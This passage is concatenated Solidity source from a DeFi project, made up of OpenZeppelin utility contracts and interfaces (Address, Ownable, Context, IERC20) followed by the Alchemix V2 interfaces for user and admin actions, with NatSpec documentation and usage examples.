* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.11;
/// @title Sets
/// @author Alchemix Finance
library Sets {
using Sets for AddressSet;
/// @notice A data structure holding an array of values with an index mapping for O(1) lookup.
struct AddressSet {
address[] values;
mapping(address => uint256) indexes;
}
/// @dev Add a value to a Set
///
/// @param self The Set.
/// @param value The value to add.
///
/// @return Whether the operation was successful (unsuccessful if the value is already contained in the Set)
function add(AddressSet storage self, address value) internal returns (bool) {
if (self.contains(value)) {
return false;
}
self.values.push(value);
self.indexes[value] = self.values.length;
return true;
}
/// @dev Remove a value from a Set
///
/// @param self The Set.
/// @param value The value to remove.
///
/// @return Whether the operation was successful (unsuccessful if the value was not contained in the Set)
function remove(AddressSet storage self, address value) internal returns (bool) {
uint256 index = self.indexes[value];
if (index == 0) {
return false;
}
// Normalize the index since we know that the element is in the set.
index--;
uint256 lastIndex = self.values.length - 1;
if (index != lastIndex) {
address lastValue = self.values[lastIndex];
self.values[index] = lastValue;
self.indexes[lastValue] = index + 1;
}
self.values.pop();
delete self.indexes[value];
return true;
}
/// @dev Returns true if the value exists in the Set
///
/// @param self The Set.
/// @param value The value to check.
///
/// @return True if the value is contained in the Set, False if it is not.
function contains(AddressSet storage self, address value) internal view returns (bool) {
return self.indexes[value] != 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20Upgradeable {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity >=0.5.0;
import "./alchemist/IAlchemistV2Actions.sol";
import "./alchemist/IAlchemistV2AdminActions.sol";
import "./alchemist/IAlchemistV2Errors.sol";
import "./alchemist/IAlchemistV2Immutables.sol";
import "./alchemist/IAlchemistV2Events.sol";
import "./alchemist/IAlchemistV2State.sol";
/// @title IAlchemistV2
/// @author Alchemix Finance
interface IAlchemistV2 is
IAlchemistV2Actions,
IAlchemistV2AdminActions,
IAlchemistV2Errors,
IAlchemistV2Immutables,
IAlchemistV2Events,
IAlchemistV2State
{ }
pragma solidity >=0.5.0;
/// @title IERC20TokenReceiver
/// @author Alchemix Finance
interface IERC20TokenReceiver {
/// @notice Informs implementors of this interface that an ERC20 token has been transferred.
///
/// @param token The token that was transferred.
/// @param value The amount of the token that was transferred.
function onERC20Received(address token, uint256 value) external;
}
pragma solidity >=0.5.0;
/// @title IAlchemistV2Actions
/// @author Alchemix Finance
///
/// @notice Specifies user actions.
interface IAlchemistV2Actions {
/// @notice Approve `spender` to mint `amount` debt tokens.
///
/// **_NOTE:_** This function is WHITELISTED.
///
/// @param spender The address that will be approved to mint.
/// @param amount The amount of tokens that `spender` will be allowed to mint.
function approveMint(address spender, uint256 amount) external;
/// @notice Approve `spender` to withdraw `amount` shares of `yieldToken`.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @param spender The address that will be approved to withdraw.
/// @param yieldToken The address of the yield token that `spender` will be allowed to withdraw.
/// @param shares The amount of shares that `spender` will be allowed to withdraw.
function approveWithdraw(
address spender,
address yieldToken,
uint256 shares
) external;
/// @notice Synchronizes the state of the account owned by `owner`.
///
/// @param owner The owner of the account to synchronize.
function poke(address owner) external;
/// @notice Deposit a yield token into a user's account.
///
/// @notice An approval must be set for `yieldToken` which is greater than `amount`.
///
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `yieldToken` must be enabled or this call will revert with a {TokenDisabled} error.
/// @notice `yieldToken` underlying token must be enabled or this call will revert with a {TokenDisabled} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice `amount` must be greater than zero or the call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {Deposit} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **_NOTE:_** When depositing, the `AlchemistV2` contract must have **allowance()** to spend funds on behalf of **msg.sender** for at least **amount** of the **yieldToken** being deposited. This can be done via the standard `ERC20.approve()` method.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 amount = 50000;
/// @notice IERC20(ydai).approve(alchemistAddress, amount);
/// @notice AlchemistV2(alchemistAddress).deposit(ydai, amount, msg.sender);
/// @notice ```
///
/// @param yieldToken The yield-token to deposit.
/// @param amount The amount of yield tokens to deposit.
/// @param recipient The owner of the account that will receive the resulting shares.
///
/// @return sharesIssued The number of shares issued to `recipient`.
function deposit(
address yieldToken,
uint256 amount,
address recipient
) external returns (uint256 sharesIssued);
/// @notice Deposit an underlying token into the account of `recipient` as `yieldToken`.
///
/// @notice An approval must be set for the underlying token of `yieldToken` which is greater than `amount`.
///
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice `amount` must be greater than zero or the call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {Deposit} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
/// @notice **_NOTE:_** When depositing, the `AlchemistV2` contract must have **allowance()** to spend funds on behalf of **msg.sender** for at least **amount** of the **underlyingToken** being deposited. This can be done via the standard `ERC20.approve()` method.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 amount = 50000;
/// @notice AlchemistV2(alchemistAddress).depositUnderlying(ydai, amount, msg.sender, 1);
/// @notice ```
///
/// @param yieldToken The address of the yield token to wrap the underlying tokens into.
/// @param amount The amount of the underlying token to deposit.
/// @param recipient The address of the recipient.
/// @param minimumAmountOut The minimum amount of yield tokens that are expected to be deposited to `recipient`.
///
/// @return sharesIssued The number of shares issued to `recipient`.
function depositUnderlying(
address yieldToken,
uint256 amount,
address recipient,
uint256 minimumAmountOut
) external returns (uint256 sharesIssued);
/// @notice Withdraw yield tokens to `recipient` by burning `share` shares. The number of yield tokens withdrawn to `recipient` will depend on the value of shares for that yield token at the time of the call.
///
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {Withdraw} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 pps = AlchemistV2(alchemistAddress).getYieldTokensPerShare(ydai);
/// @notice uint256 amtYieldTokens = 5000;
/// @notice AlchemistV2(alchemistAddress).withdraw(ydai, amtYieldTokens / pps, msg.sender);
/// @notice ```
///
/// @param yieldToken The address of the yield token to withdraw.
/// @param shares The number of shares to burn.
/// @param recipient The address of the recipient.
///
/// @return amountWithdrawn The number of yield tokens that were withdrawn to `recipient`.
function withdraw(
address yieldToken,
uint256 shares,
address recipient
) external returns (uint256 amountWithdrawn);
/// @notice Withdraw yield tokens to `recipient` by burning `share` shares from the account of `owner`
///
/// @notice `owner` must have an withdrawal allowance which is greater than `amount` for this call to succeed.
///
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {Withdraw} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 pps = AlchemistV2(alchemistAddress).getYieldTokensPerShare(ydai);
/// @notice uint256 amtYieldTokens = 5000;
/// @notice AlchemistV2(alchemistAddress).withdrawFrom(msg.sender, ydai, amtYieldTokens / pps, msg.sender);
/// @notice ```
///
/// @param owner The address of the account owner to withdraw from.
/// @param yieldToken The address of the yield token to withdraw.
/// @param shares The number of shares to burn.
/// @param recipient The address of the recipient.
///
/// @return amountWithdrawn The number of yield tokens that were withdrawn to `recipient`.
function withdrawFrom(
address owner,
address yieldToken,
uint256 shares,
address recipient
) external returns (uint256 amountWithdrawn);
/// @notice Withdraw underlying tokens to `recipient` by burning `share` shares and unwrapping the yield tokens that the shares were redeemed for.
///
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice The loss in expected value of `yieldToken` must be less than the maximum permitted by the system or this call will revert with a {LossExceeded} error.
///
/// @notice Emits a {Withdraw} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
/// @notice **_NOTE:_** The caller of `withdrawFrom()` must have **withdrawAllowance()** to withdraw funds on behalf of **owner** for at least the amount of `yieldTokens` that **shares** will be converted to. This can be done via the `approveWithdraw()` or `permitWithdraw()` methods.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 pps = AlchemistV2(alchemistAddress).getUnderlyingTokensPerShare(ydai);
/// @notice uint256 amountUnderlyingTokens = 5000;
/// @notice AlchemistV2(alchemistAddress).withdrawUnderlying(ydai, amountUnderlyingTokens / pps, msg.sender, 1);
/// @notice ```
///
/// @param yieldToken The address of the yield token to withdraw.
/// @param shares The number of shares to burn.
/// @param recipient The address of the recipient.
/// @param minimumAmountOut The minimum amount of underlying tokens that are expected to be withdrawn to `recipient`.
///
/// @return amountWithdrawn The number of underlying tokens that were withdrawn to `recipient`.
function withdrawUnderlying(
address yieldToken,
uint256 shares,
address recipient,
uint256 minimumAmountOut
) external returns (uint256 amountWithdrawn);
/// @notice Withdraw underlying tokens to `recipient` by burning `share` shares from the account of `owner` and unwrapping the yield tokens that the shares were redeemed for.
///
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice The loss in expected value of `yieldToken` must be less than the maximum permitted by the system or this call will revert with a {LossExceeded} error.
///
/// @notice Emits a {Withdraw} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
/// @notice **_NOTE:_** The caller of `withdrawFrom()` must have **withdrawAllowance()** to withdraw funds on behalf of **owner** for at least the amount of `yieldTokens` that **shares** will be converted to. This can be done via the `approveWithdraw()` or `permitWithdraw()` methods.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 pps = AlchemistV2(alchemistAddress).getUnderlyingTokensPerShare(ydai);
/// @notice uint256 amtUnderlyingTokens = 5000 * 10**ydai.decimals();
/// @notice AlchemistV2(alchemistAddress).withdrawUnderlying(msg.sender, ydai, amtUnderlyingTokens / pps, msg.sender, 1);
/// @notice ```
///
/// @param owner The address of the account owner to withdraw from.
/// @param yieldToken The address of the yield token to withdraw.
/// @param shares The number of shares to burn.
/// @param recipient The address of the recipient.
/// @param minimumAmountOut The minimum amount of underlying tokens that are expected to be withdrawn to `recipient`.
///
/// @return amountWithdrawn The number of underlying tokens that were withdrawn to `recipient`.
function withdrawUnderlyingFrom(
address owner,
address yieldToken,
uint256 shares,
address recipient,
uint256 minimumAmountOut
) external returns (uint256 amountWithdrawn);
/// @notice Mint `amount` debt tokens.
///
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error.
///
/// @notice Emits a {Mint} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice uint256 amtDebt = 5000;
/// @notice AlchemistV2(alchemistAddress).mint(amtDebt, msg.sender);
/// @notice ```
///
/// @param amount The amount of tokens to mint.
/// @param recipient The address of the recipient.
function mint(uint256 amount, address recipient) external;
/// @notice Mint `amount` debt tokens from the account owned by `owner` to `recipient`.
///
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error.
///
/// @notice Emits a {Mint} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
/// @notice **_NOTE:_** The caller of `mintFrom()` must have **mintAllowance()** to mint debt from the `Account` controlled by **owner** for at least the amount of **yieldTokens** that **shares** will be converted to. This can be done via the `approveMint()` or `permitMint()` methods.
///
/// @notice **Example:**
/// @notice ```
/// @notice uint256 amtDebt = 5000;
/// @notice AlchemistV2(alchemistAddress).mintFrom(msg.sender, amtDebt, msg.sender);
/// @notice ```
///
/// @param owner The address of the owner of the account to mint from.
/// @param amount The amount of tokens to mint.
/// @param recipient The address of the recipient.
function mintFrom(
address owner,
uint256 amount,
address recipient
) external;
/// @notice Burn `amount` debt tokens to credit the account owned by `recipient`.
///
/// @notice `amount` will be limited up to the amount of debt that `recipient` currently holds.
///
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error.
/// @notice `recipient` must have non-zero debt or this call will revert with an {IllegalState} error.
///
/// @notice Emits a {Burn} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice uint256 amtBurn = 5000;
/// @notice AlchemistV2(alchemistAddress).burn(amtBurn, msg.sender);
/// @notice ```
///
/// @param amount The amount of tokens to burn.
/// @param recipient The address of the recipient.
///
/// @return amountBurned The amount of tokens that were burned.
function burn(uint256 amount, address recipient) external returns (uint256 amountBurned);
/// @notice Repay `amount` debt using `underlyingToken` to credit the account owned by `recipient`.
///
/// @notice `amount` will be limited up to the amount of debt that `recipient` currently holds.
///
/// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error.
/// @notice `recipient` must be non-zero or this call will revert with an {IllegalArgument} error.
/// @notice `underlyingToken` must be enabled or this call will revert with a {TokenDisabled} error.
/// @notice `amount` must be less than or equal to the current available repay limit or this call will revert with a {ReplayLimitExceeded} error.
///
/// @notice Emits a {Repay} event.
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice address dai = 0x6b175474e89094c44da98b954eedeac495271d0f;
/// @notice uint256 amtRepay = 5000;
/// @notice AlchemistV2(alchemistAddress).repay(dai, amtRepay, msg.sender);
/// @notice ```
///
/// @param underlyingToken The address of the underlying token to repay.
/// @param amount The amount of the underlying token to repay.
/// @param recipient The address of the recipient which will receive credit.
///
/// @return amountRepaid The amount of tokens that were repaid.
function repay(
address underlyingToken,
uint256 amount,
address recipient
) external returns (uint256 amountRepaid);
/// @notice
///
/// @notice `shares` will be limited up to an equal amount of debt that `recipient` currently holds.
///
/// @notice `shares` must be greater than zero or this call will revert with a {IllegalArgument} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice `yieldToken` must be enabled or this call will revert with a {TokenDisabled} error.
/// @notice `yieldToken` underlying token must be enabled or this call will revert with a {TokenDisabled} error.
/// @notice The loss in expected value of `yieldToken` must be less than the maximum permitted by the system or this call will revert with a {LossExceeded} error.
/// @notice `amount` must be less than or equal to the current available liquidation limit or this call will revert with a {LiquidationLimitExceeded} error.
///
/// @notice Emits a {Liquidate} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 amtSharesLiquidate = 5000 * 10**ydai.decimals();
/// @notice AlchemistV2(alchemistAddress).liquidate(ydai, amtSharesLiquidate, 1);
/// @notice ```
///
/// @param yieldToken The address of the yield token to liquidate.
/// @param shares The number of shares to burn for credit.
/// @param minimumAmountOut The minimum amount of underlying tokens that are expected to be liquidated.
///
/// @return sharesLiquidated The amount of shares that were liquidated.
function liquidate(
address yieldToken,
uint256 shares,
uint256 minimumAmountOut
) external returns (uint256 sharesLiquidated);
/// @notice Burns `amount` debt tokens to credit accounts which have deposited `yieldToken`.
///
/// @notice `amount` must be greater than zero or this call will revert with a {IllegalArgument} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @notice Emits a {Donate} event.
///
/// @notice **_NOTE:_** This function is WHITELISTED.
///
/// @notice **Example:**
/// @notice ```
/// @notice address ydai = 0xdA816459F1AB5631232FE5e97a05BBBb94970c95;
/// @notice uint256 amtSharesLiquidate = 5000;
/// @notice AlchemistV2(alchemistAddress).liquidate(dai, amtSharesLiquidate, 1);
/// @notice ```
///
/// @param yieldToken The address of the yield token to credit accounts for.
/// @param amount The amount of debt tokens to burn.
function donate(address yieldToken, uint256 amount) external;
/// @notice Harvests outstanding yield that a yield token has accumulated and distributes it as credit to holders.
///
/// @notice `msg.sender` must be a keeper or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
/// @notice The amount being harvested must be greater than zero or else this call will revert with an {IllegalState} error.
///
/// @notice Emits a {Harvest} event.
///
/// @param yieldToken The address of the yield token to harvest.
/// @param minimumAmountOut The minimum amount of underlying tokens that are expected to be withdrawn to `recipient`.
function harvest(address yieldToken, uint256 minimumAmountOut) external;
}
pragma solidity >=0.5.0;
/// @title IAlchemistV2AdminActions
/// @author Alchemix Finance
///
/// @notice Specifies admin and or sentinel actions.
interface IAlchemistV2AdminActions {
/// @notice Contract initialization parameters.
struct InitializationParams {
// The initial admin account.
address admin;
// The ERC20 token used to represent debt.
address debtToken;
// The initial transmuter or transmuter buffer.
address transmuter;
// The minimum collateralization ratio that an account must maintain.
uint256 minimumCollateralization;
// The percentage fee taken from each harvest measured in units of basis points.
uint256 protocolFee;
// The address that receives protocol fees.
address protocolFeeReceiver;
// A limit used to prevent administrators from making minting functionality inoperable.
uint256 mintingLimitMinimum;
// The maximum number of tokens that can be minted per period of time.
uint256 mintingLimitMaximum;
// The number of blocks that it takes for the minting limit to be refreshed.
uint256 mintingLimitBlocks;
// The address of the whitelist.
address whitelist;
}
/// @notice Configuration parameters for an underlying token.
struct UnderlyingTokenConfig {
// A limit used to prevent administrators from making repayment functionality inoperable.
uint256 repayLimitMinimum;
// The maximum number of underlying tokens that can be repaid per period of time.
uint256 repayLimitMaximum;
// The number of blocks that it takes for the repayment limit to be refreshed.
uint256 repayLimitBlocks;
// A limit used to prevent administrators from making liquidation functionality inoperable.
uint256 liquidationLimitMinimum;
// The maximum number of underlying tokens that can be liquidated per period of time.
uint256 liquidationLimitMaximum;
// The number of blocks that it takes for the liquidation limit to be refreshed.
uint256 liquidationLimitBlocks;
}
/// @notice Configuration parameters of a yield token.
struct YieldTokenConfig {
// The adapter used by the system to interop with the token.
address adapter;
// The maximum percent loss in expected value that can occur before certain actions are disabled measured in
// units of basis points.
uint256 maximumLoss;
// The maximum value that can be held by the system before certain actions are disabled measured in the
// underlying token.
uint256 maximumExpectedValue;
// The number of blocks that credit will be distributed over to depositors.
uint256 creditUnlockBlocks;
}
/// @notice Initialize the contract.
///
/// @notice `params.protocolFee` must be in range or this call will with an {IllegalArgument} error.
/// @notice The minting growth limiter parameters must be valid or this will revert with an {IllegalArgument} error. For more information, see the {Limiters} library.
///
/// @notice Emits an {AdminUpdated} event.
/// @notice Emits a {TransmuterUpdated} event.
/// @notice Emits a {MinimumCollateralizationUpdated} event.
/// @notice Emits a {ProtocolFeeUpdated} event.
/// @notice Emits a {ProtocolFeeReceiverUpdated} event.
/// @notice Emits a {MintingLimitUpdated} event.
///
/// @param params The contract initialization parameters.
function initialize(InitializationParams memory params) external;
/// @notice Sets the pending administrator.
///
/// @notice `msg.sender` must be the admin or this call will will revert with an {Unauthorized} error.
///
/// @notice Emits a {PendingAdminUpdated} event.
///
/// @dev This is the first step in the two-step process of setting a new administrator. After this function is called, the pending administrator will then need to call {acceptAdmin} to complete the process.
///
/// @param value the address to set the pending admin to.
function setPendingAdmin(address value) external;
/// @notice Allows for `msg.sender` to accepts the role of administrator.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice The current pending administrator must be non-zero or this call will revert with an {IllegalState} error.
///
/// @dev This is the second step in the two-step process of setting a new administrator. After this function is successfully called, this pending administrator will be reset and the new administrator will be set.
///
/// @notice Emits a {AdminUpdated} event.
/// @notice Emits a {PendingAdminUpdated} event.
function acceptAdmin() external;
/// @notice Sets an address as a sentinel.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @param sentinel The address to set or unset as a sentinel.
/// @param flag A flag indicating of the address should be set or unset as a sentinel.
function setSentinel(address sentinel, bool flag) external;
/// @notice Sets an address as a keeper.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @param keeper The address to set or unset as a keeper.
/// @param flag A flag indicating of the address should be set or unset as a keeper.
function setKeeper(address keeper, bool flag) external;
/// @notice Adds an underlying token to the system.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @param underlyingToken The address of the underlying token to add.
/// @param config The initial underlying token configuration.
function addUnderlyingToken(
address underlyingToken,
UnderlyingTokenConfig calldata config
) external;
/// @notice Adds a yield token to the system.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @notice Emits a {AddYieldToken} event.
/// @notice Emits a {TokenAdapterUpdated} event.
/// @notice Emits a {MaximumLossUpdated} event.
///
/// @param yieldToken The address of the yield token to add.
/// @param config The initial yield token configuration.
function addYieldToken(address yieldToken, YieldTokenConfig calldata config)
external;
/// @notice Sets an underlying token as either enabled or disabled.
///
/// @notice `msg.sender` must be either the admin or a sentinel or this call will revert with an {Unauthorized} error.
/// @notice `underlyingToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @notice Emits an {UnderlyingTokenEnabled} event.
///
/// @param underlyingToken The address of the underlying token to enable or disable.
/// @param enabled If the underlying token should be enabled or disabled.
function setUnderlyingTokenEnabled(address underlyingToken, bool enabled)
external;
/// @notice Sets a yield token as either enabled or disabled.
///
/// @notice `msg.sender` must be either the admin or a sentinel or this call will revert with an {Unauthorized} error.
/// @notice `yieldToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @notice Emits a {YieldTokenEnabled} event.
///
/// @param yieldToken The address of the yield token to enable or disable.
/// @param enabled If the underlying token should be enabled or disabled.
function setYieldTokenEnabled(address yieldToken, bool enabled) external;
/// @notice Configures the the repay limit of `underlyingToken`.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `underlyingToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @notice Emits a {ReplayLimitUpdated} event.
///
/// @param underlyingToken The address of the underlying token to configure the repay limit of.
/// @param maximum The maximum repay limit.
/// @param blocks The number of blocks it will take for the maximum repayment limit to be replenished when it is completely exhausted.
function configureRepayLimit(
address underlyingToken,
uint256 maximum,
uint256 blocks
) external;
/// @notice Configure the liquidation limiter of `underlyingToken`.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `underlyingToken` must be registered or this call will revert with a {UnsupportedToken} error.
///
/// @notice Emits a {LiquidationLimitUpdated} event.
///
/// @param underlyingToken The address of the underlying token to configure the liquidation limit of.
/// @param maximum The maximum liquidation limit.
/// @param blocks The number of blocks it will take for the maximum liquidation limit to be replenished when it is completely exhausted.
function configureLiquidationLimit(
address underlyingToken,
uint256 maximum,
uint256 blocks
) external;
/// @notice Set the address of the transmuter.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
/// @notice `value` must be non-zero or this call will revert with an {IllegalArgument} error.
///
/// @notice Emits a {TransmuterUpdated} event.
///
/// @param value The address of the transmuter.
function setTransmuter(address value) external;
/// @notice Set the minimum collateralization ratio.
///
/// @notice `msg.sender` must be the admin or this call will revert with an {Unauthorized} error.
///
/// @notice Emits a {MinimumCollateralizationUpdated} event.
///
